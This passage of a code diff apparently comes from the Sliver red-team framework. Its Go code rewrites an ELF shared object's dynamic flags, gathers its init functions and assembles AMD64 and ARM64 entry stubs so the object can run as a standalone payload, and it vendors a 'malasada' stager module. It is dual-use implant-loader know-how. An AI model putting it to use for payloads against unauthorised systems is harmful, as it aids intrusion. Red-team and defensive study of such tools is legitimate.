|
||||
tag := int64(binary.LittleEndian.Uint64(dyn[off : off+8]))
|
||||
val := binary.LittleEndian.Uint64(dyn[off+8 : off+16])
|
||||
if tag == dtNull {
|
||||
break
|
||||
}
|
||||
if uint64(tag) == dtFlags1 {
|
||||
val |= df1Pie
|
||||
binary.LittleEndian.PutUint64(dyn[off+8:off+16], val)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
// If there's no DT_FLAGS_1, we still proceed; glibc will treat it as a normal
|
||||
// shared object, but for our exec-like jump into ld-linux we primarily need
|
||||
// a non-zero e_entry.
|
||||
return nil
|
||||
}
|
||||
|
||||
func vaddrToFileOff(phdrs []elf64Phdr, vaddr uint64, size uint64) (uint64, error) {
|
||||
for i := range phdrs {
|
||||
ph := phdrs[i]
|
||||
if ph.typ != ptLoad {
|
||||
continue
|
||||
}
|
||||
// For file-backed data (like init arrays), we need it to be within the
|
||||
// segment's file image, not just its in-memory range.
|
||||
if vaddr < ph.vaddr || vaddr+size > ph.vaddr+ph.filesz {
|
||||
continue
|
||||
}
|
||||
off := ph.off + (vaddr - ph.vaddr)
|
||||
return off, nil
|
||||
}
|
||||
return 0, fmt.Errorf("%w: vaddr 0x%x not in any PT_LOAD file range", errBadELF, vaddr)
|
||||
}
|
||||
|
||||
func extractInitVaddrs(so []byte, phdrs []elf64Phdr, dynPh elf64Phdr) ([]uint64, error) {
|
||||
// dynPh.off points to the dynamic entries in the file.
|
||||
if dynPh.off+dynPh.filesz > uint64(len(so)) {
|
||||
return nil, fmt.Errorf("%w: PT_DYNAMIC outside file", errBadELF)
|
||||
}
|
||||
dyn := so[dynPh.off : dynPh.off+dynPh.filesz]
|
||||
|
||||
var (
|
||||
initVaddr uint64
|
||||
preinitArrayVaddr uint64
|
||||
preinitArraySz uint64
|
||||
initArrayVaddr uint64
|
||||
initArraySz uint64
|
||||
)
|
||||
|
||||
for off := 0; off+16 <= len(dyn); off += 16 {
|
||||
tag := int64(binary.LittleEndian.Uint64(dyn[off : off+8]))
|
||||
val := binary.LittleEndian.Uint64(dyn[off+8 : off+16])
|
||||
if tag == dtNull {
|
||||
break
|
||||
}
|
||||
switch uint64(tag) {
|
||||
case dtInit:
|
||||
initVaddr = val
|
||||
case dtPreinitArray:
|
||||
preinitArrayVaddr = val
|
||||
case dtPreinitArraySz:
|
||||
preinitArraySz = val
|
||||
case dtInitArray:
|
||||
initArrayVaddr = val
|
||||
case dtInitArraySz:
|
||||
initArraySz = val
|
||||
}
|
||||
}
|
||||
|
||||
readPtrArray := func(arrayVaddr, arraySz uint64) ([]uint64, error) {
|
||||
if arrayVaddr == 0 || arraySz == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
if arraySz%8 != 0 {
|
||||
return nil, fmt.Errorf("%w: init array size 0x%x not 8-byte aligned", errBadELF, arraySz)
|
||||
}
|
||||
fileOff, err := vaddrToFileOff(phdrs, arrayVaddr, arraySz)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if fileOff+arraySz > uint64(len(so)) {
|
||||
return nil, fmt.Errorf("%w: init array outside file", errBadELF)
|
||||
}
|
||||
b := so[fileOff : fileOff+arraySz]
|
||||
out := make([]uint64, 0, arraySz/8)
|
||||
for i := uint64(0); i < arraySz; i += 8 {
|
||||
ptr := binary.LittleEndian.Uint64(b[i : i+8])
|
||||
if ptr != 0 {
|
||||
out = append(out, ptr)
|
||||
}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
var initCalls []uint64
|
||||
// Match glibc's overall ordering:
|
||||
// - DT_PREINIT_ARRAY (executables)
|
||||
// - DT_INIT
|
||||
// - DT_INIT_ARRAY
|
||||
pre, err := readPtrArray(preinitArrayVaddr, preinitArraySz)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
initCalls = append(initCalls, pre...)
|
||||
|
||||
if initVaddr != 0 {
|
||||
initCalls = append(initCalls, initVaddr)
|
||||
}
|
||||
|
||||
initArr, err := readPtrArray(initArrayVaddr, initArraySz)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
initCalls = append(initCalls, initArr...)
|
||||
|
||||
return initCalls, nil
|
||||
}
|
||||
|
||||
func makeEntryStub(arch Arch, stubVaddr uint64, exportVaddr uint64, initVaddrs []uint64) ([]byte, error) {
|
||||
switch arch {
|
||||
case ArchLinuxAMD64:
|
||||
return makeStubAMD64(stubVaddr, exportVaddr, initVaddrs)
|
||||
case ArchLinuxARM64:
|
||||
return makeStubARM64(stubVaddr, exportVaddr, initVaddrs)
|
||||
default:
|
||||
return nil, fmt.Errorf("unsupported arch %v", arch)
|
||||
}
|
||||
}
|
||||
|
||||
func makeStubAMD64(stubVaddr uint64, exportVaddr uint64, initVaddrs []uint64) ([]byte, error) {
|
||||
if stubVaddr+5 > 0xffffffff {
|
||||
// Keep the encoding simple (sub imm32).
|
||||
return nil, fmt.Errorf("stub vaddr too large for amd64 stub encoding")
|
||||
}
|
||||
|
||||
// Assemble the stub from textual assembly to keep it readable and reduce
|
||||
// manual byte encoding errors. We use explicit forms (like movabs) to keep
|
||||
// output byte-for-byte compatible with the historical encoding.
|
||||
var sb strings.Builder
|
||||
sb.WriteString(".code64\n")
|
||||
|
||||
// Base computation:
|
||||
// call next; pop rbx; sub rbx, (stub_vaddr+5) => rbx becomes the module base.
|
||||
// rbx = (retaddr == stub+5) - (stub_vaddr+5)
|
||||
sb.WriteString("call 5\n")
|
||||
sb.WriteString("pop rbx\n")
|
||||
fmt.Fprintf(&sb, "sub rbx, 0x%X\n", stubVaddr+5)
|
||||
|
||||
// Preserve entry stack pointer and compute (argc, argv, envp) once.
|
||||
// r15 = entry_rsp
|
||||
// r12 = argc
|
||||
// r13 = argv
|
||||
// r14 = envp
|
||||
sb.WriteString("mov r15, rsp\n")
|
||||
sb.WriteString("mov r12, [r15]\n")
|
||||
sb.WriteString("lea r13, [r15+8]\n")
|
||||
sb.WriteString("mov rcx, r12\n")
|
||||
sb.WriteString("add rcx, 2\n")
|
||||
sb.WriteString("shl rcx, 3\n")
|
||||
sb.WriteString("lea r14, [r15+rcx]\n")
|
||||
|
||||
// Call init functions (DT_PREINIT_ARRAY/DT_INIT/DT_INIT_ARRAY).
|
||||
for _, vaddr := range initVaddrs {
|
||||
if vaddr == 0 {
|
||||
continue
|
||||
}
|
||||
// rdi = argc, rsi = argv, rdx = envp
|
||||
sb.WriteString("mov rdi, r12\n")
|
||||
sb.WriteString("mov rsi, r13\n")
|
||||
sb.WriteString("mov rdx, r14\n")
|
||||
fmt.Fprintf(&sb, "movabs rax, 0x%X\n", vaddr)
|
||||
sb.WriteString("add rax, rbx\n")
|
||||
sb.WriteString("call rax\n")
|
||||
}
|
||||
|
||||
// Call the requested export (no args).
|
||||
fmt.Fprintf(&sb, "movabs rax, 0x%X\n", exportVaddr)
|
||||
sb.WriteString("add rax, rbx\n")
|
||||
sb.WriteString("call rax\n")
|
||||
|
||||
// exit_group(0)
|
||||
sb.WriteString("mov eax, 231\n")
|
||||
sb.WriteString("xor edi, edi\n")
|
||||
sb.WriteString("syscall\n")
|
||||
|
||||
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = engine.Close() }()
|
||||
if err := engine.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return engine.Assemble(sb.String(), 0)
|
||||
}
|
||||
|
||||
func makeStubARM64(stubVaddr uint64, exportVaddr uint64, initVaddrs []uint64) ([]byte, error) {
|
||||
// See internal notes in stage0: x19 = stub_start; base = x19 - stub_vaddr.
|
||||
// Then call init functions (DT_INIT/DT_INIT_ARRAY) and the requested export.
|
||||
|
||||
var sb strings.Builder
|
||||
sb.WriteString("stub_start:\n")
|
||||
sb.WriteString("adr x19, stub_start\n")
|
||||
|
||||
// x20 = stub_vaddr
|
||||
fmt.Fprintf(&sb, "movz x20, #0x%X\n", uint16(stubVaddr>>0))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #16\n", uint16(stubVaddr>>16))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #32\n", uint16(stubVaddr>>32))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #48\n", uint16(stubVaddr>>48))
|
||||
sb.WriteString("sub x19, x19, x20\n")
|
||||
|
||||
// Compute (argc, argv, envp) from the entry stack.
|
||||
// x21 = argc
|
||||
// x22 = argv (points to argv[0])
|
||||
// x23 = envp
|
||||
sb.WriteString("ldr x21, [sp]\n")
|
||||
sb.WriteString("add x22, sp, #8\n")
|
||||
sb.WriteString("add x23, x22, x21, lsl #3\n")
|
||||
sb.WriteString("add x23, x23, #8\n")
|
||||
|
||||
// Call init functions (DT_PREINIT_ARRAY/DT_INIT/DT_INIT_ARRAY).
|
||||
for _, vaddr := range initVaddrs {
|
||||
if vaddr == 0 {
|
||||
continue
|
||||
}
|
||||
sb.WriteString("mov x0, x21\n")
|
||||
sb.WriteString("mov x1, x22\n")
|
||||
sb.WriteString("mov x2, x23\n")
|
||||
fmt.Fprintf(&sb, "movz x20, #0x%X\n", uint16(vaddr>>0))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #16\n", uint16(vaddr>>16))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #32\n", uint16(vaddr>>32))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #48\n", uint16(vaddr>>48))
|
||||
sb.WriteString("add x16, x19, x20\n")
|
||||
sb.WriteString("blr x16\n")
|
||||
}
|
||||
|
||||
// Call the requested export (no args).
|
||||
fmt.Fprintf(&sb, "movz x20, #0x%X\n", uint16(exportVaddr>>0))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #16\n", uint16(exportVaddr>>16))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #32\n", uint16(exportVaddr>>32))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #48\n", uint16(exportVaddr>>48))
|
||||
sb.WriteString("add x16, x19, x20\n")
|
||||
sb.WriteString("blr x16\n")
|
||||
|
||||
// exit_group(0)
|
||||
sb.WriteString("movz x8, #94\n")
|
||||
sb.WriteString("movz x0, #0\n")
|
||||
sb.WriteString("svc #0\n")
|
||||
|
||||
engine, err := keystone.NewEngine(keystone.ARCH_ARM64, keystone.MODE_LITTLE_ENDIAN)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = engine.Close() }()
|
||||
return engine.Assemble(sb.String(), 0)
|
||||
}
|
||||
Vendored
+4
@@ -1270,6 +1270,10 @@ github.com/slack-go/slack/slackutilsx
|
||||
github.com/sliverarmory/beignet
|
||||
github.com/sliverarmory/beignet/internal/aplib
|
||||
github.com/sliverarmory/beignet/internal/stager
|
||||
# github.com/sliverarmory/malasada v0.0.2
|
||||
## explicit; go 1.25.6
|
||||
github.com/sliverarmory/malasada
|
||||
github.com/sliverarmory/malasada/internal/aplib
|
||||
# github.com/sliverarmory/wasm-donut v0.0.3
|
||||
## explicit; go 1.25.6
|
||||
github.com/sliverarmory/wasm-donut
|
||||
|
||||
Reference in new issue
Block a user